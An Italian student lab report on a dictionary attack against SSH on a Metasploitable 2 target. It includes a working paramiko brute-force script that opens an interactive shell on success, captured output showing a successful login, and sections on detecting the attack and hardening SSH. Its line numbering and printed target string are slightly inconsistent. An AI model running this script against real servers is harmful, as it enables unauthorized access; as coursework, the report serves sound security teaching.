

EPICODE

Progetto finale M2

Luigi Valerio Pancotti

TASK:

“Si richiede allo studente di scrivere un programma, con un linguaggio a sua scelta fra Python e C, che permetta l'esecuzione di un attacco Brute-Force ad un servizio SSH su una macchina Debian/Ubuntu”

REPORT TECNICO – ATTACCO SSH TRAMITE DICTIONARY ATTACK

1. Obiettivo dell'attività

Lo scopo di questa attività è stato verificare la sicurezza del servizio SSH presente sulla macchina Metasploitable 2. Utilizzando Kali Linux come macchina attaccante, è stato simulato un attacco di tipo Dictionary Attack per verificare se fosse possibile ottenere l'accesso remoto al sistema sfruttando credenziali deboli.

L'esercitazione ha permesso di comprendere il funzionamento degli attacchi contro i meccanismi di autenticazione e di osservare le possibili contromisure da adottare per proteggere un servizio SSH.

2. Descrizione dell'attacco

L'attacco eseguito appartiene alla categoria dei Dictionary Attack, una variante del brute-force che utilizza liste predefinite di nomi utente e password invece di generare tutte le possibili combinazioni.

In pratica, il programma prova automaticamente diverse combinazioni di credenziali fino a trovare una coppia valida.

```
[kali@kali]~$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data:
 64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=2.09 ms
 64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=1.82 ms
 64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=1.17 ms
 64 bytes from 192.168.50.101: icmp_seq=4 ttl=64 time=1.56 ms
 64 bytes from 192.168.50.101: icmp_seq=5 ttl=64 time=0.953 ms
^C
--- 192.168.50.101 ping statistics ---
 5 packets transmitted, 5 received, 0% packet loss, time 4065ms
rtt min/avg/max/mdev = 0.953/1.520/2.092/0.414 ms

[kali@kali]~$ cd Desktop
[kali@kali]~/Desktop$ cd codici_epicode
[kali@kali]~/Desktop/codici_epicode$ python3 ssh_brute_paramiko.py
[*] Avvio attacco Brute-Force su 192.168.50.101...
[*] Righe caricate dal dizionario -> Utenti: 3 | Password: 3
[*] Combinazioni totali da testare: 9

[*] Test in corso: msfadmin -> msfadmin

[*] CREDENZIALI IDENTIFICATE: msfadmin -> msfadmin
[*] APERTURA SHELL INTERATTIVA DIRETTA...

linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
or mail:
Last login: Fri Jun 5 09:49:44 2026 from 192.168.50.102
msfadmin@metasploitable:~$
```

Se il sistema utilizza password semplici o di default, l'attaccante può ottenere l'accesso in tempi molto brevi.

Nel caso della macchina Metasploitable 2, l'obiettivo era individuare credenziali vulnerabili e accedere al servizio SSH disponibile sulla porta 22.

```
1 import paramiko, sys, select, tty, termios, logging
2
3 # Disabilita i log di debug di paramiko per un output pulito
4 logging.getLogger("paramiko").setLevel(logging.WARNING)
5
6 # CONFIGURAZIONE TARGET
7 TARGET_IP = "192.168.50.101"
8 SSH_PORT = 22
9 USER_FILE = "usernames.txt"
10 PASS_FILE = "passwords.txt"
11
12 # 1. Lettura dei dizionari su Kali
13 try:
14     with open(USER_FILE, "r") as uf, open(PASS_FILE, "r") as pf:
15         user_list = [u.strip() for u in uf.readlines() if u.strip()]
16         pwd_list = [p.strip() for p in pf.readlines() if p.strip()]
17 except FileNotFoundError:
18     print(f"[!] Errore: File '{USER_FILE}' o '{PASS_FILE}' non trovati nella cartella corrente.")
19     sys.exit(1)
20
21 print(f"[*] Avvio attacco Brute-Force su (TARGET IP)...")
22 print(f"[*] Righe Caricate dal dizionario -> Utenti: {len(user_list)} | Password: {len(pwd_list)}")
23 print(f"[*] Combinazioni totali da testare: {len(user_list) * len(pwd_list)}\n")
24
```

3. Funzionamento dell'attacco

Per eseguire l'attacco sono stati utilizzati due file contenenti rispettivamente un elenco di username e un elenco di password.

Il processo si è svolto nelle seguenti fasi:

1. Lettura delle liste di utenti e password presenti sulla macchina Kali Linux.
2. Tentativo di connessione al servizio SSH della macchina target.
3. Prova automatica delle diverse combinazioni username/password.
4. Analisi della risposta restituita dal server SSH.
5. Interruzione dei tentativi nel momento in cui viene trovata una combinazione valida.

```
25 # 2. Ciclo di attacco automatizzato
26 for user in user_list:
27     for pwd in pwd_list:
28         print(f"[+] Test in corso: {user} -> {pwd}")
29
30         ssh = paramiko.SSHClient()
31         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
32
33         try:
34             # Connessione con gestione automatica della crittografia legacy
35             ssh.connect(hostname=TARGET_IP, port=SSH_PORT, username=user, password=pwd, timeout=5)
36
37             print("\n" + "="*50)
38             print(f"[+] CREDENZIALI IDENTIFICATE: {user} -> {pwd}")
39             print(f"[+] APERTURA SHELL INTERATTIVA DIRETTA...")
40             print("="*50 + "\n")
41
```

Una volta individuate le credenziali corrette, è stato possibile stabilire una connessione SSH e ottenere l'accesso remoto al sistema con i privilegi associati all'utente autenticato.

4. Rilevamento dell'attacco

Un attacco di questo tipo può essere identificato analizzando i log del sistema.

Tra gli indicatori più evidenti si possono osservare:

- numerosi tentativi di login falliti in un breve intervallo di tempo;
- messaggi ripetuti come "Failed password";
- connessioni provenienti ripetutamente dallo stesso indirizzo IP;
- aumento anomalo dell'attività sul servizio SSH.

```
38 # 3. Attivazione sessione interattiva
39 chan = ssh.invoke_shell()
40 old_tty = termios.tcgetattr(sys.stdin)
41 try:
42     tty.setraw(sys.stdin.fileno())
43     chan.setblocking(0)
44
45     while True:
46         r, w, e = select.select([chan, sys.stdin], [], [])
47         if chan in r:
48             try:
49                 x = chan.recv(1024).decode('utf-8', errors='ignore')
50                 if len(x) == 0:
51                     break
52                 sys.stdout.write(x)
53                 sys.stdout.flush()
54             except:
55                 pass
56         if sys.stdin in r:
57             x = sys.stdin.read(1)
58             if len(x) == 0:
59                 break
60             chan.send(x)
61     finally:
62         termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)
63     chan.close()
64     ssh.close()
65     sys.exit(0)
66 except paramiko.AuthenticationException:
67     # La credenziale è errata: chiude il socket e passa alla successiva senza mostrare errori
68     ssh.close()
69 except Exception as errore_imprevisto:
70     # Se c'è un errore di rete o di algoritmo ce lo mostra a schermo
71     print(f'[!] Problema di connessione con la macchina: {errore_imprevisto}')
72     ssh.close()
73 print("\n[-] Scansione completata. Nessuna credenziale valida trovata nell'elenco.")
```

Questi elementi rappresentano importanti Indicatori di Compromissione (IoC) e consentono agli amministratori di individuare rapidamente eventuali tentativi di accesso non autorizzato.

5. Contromisure e mitigazione

Per ridurre il rischio di attacchi brute-force o dictionary attack è possibile adottare diverse misure di sicurezza:

- utilizzare password robuste e difficili da indovinare;
- abilitare l'autenticazione tramite chiave pubblica e privata;
- disabilitare il login diretto dell'utente root tramite SSH;
- limitare il numero di tentativi di autenticazione consentiti.

L'adozione combinata di queste misure aumenta significativamente il livello di sicurezza del servizio SSH e riduce le possibilità di successo di un attacco basato sulle credenziali.

6. Conclusioni

L'attività ha dimostrato come l'utilizzo di credenziali deboli possa compromettere rapidamente la sicurezza di un sistema esposto in rete. Attraverso il Dictionary Attack è stato possibile comprendere le modalità con cui un attaccante può tentare di ottenere l'accesso a un servizio SSH e l'importanza di adottare adeguate misure di protezione.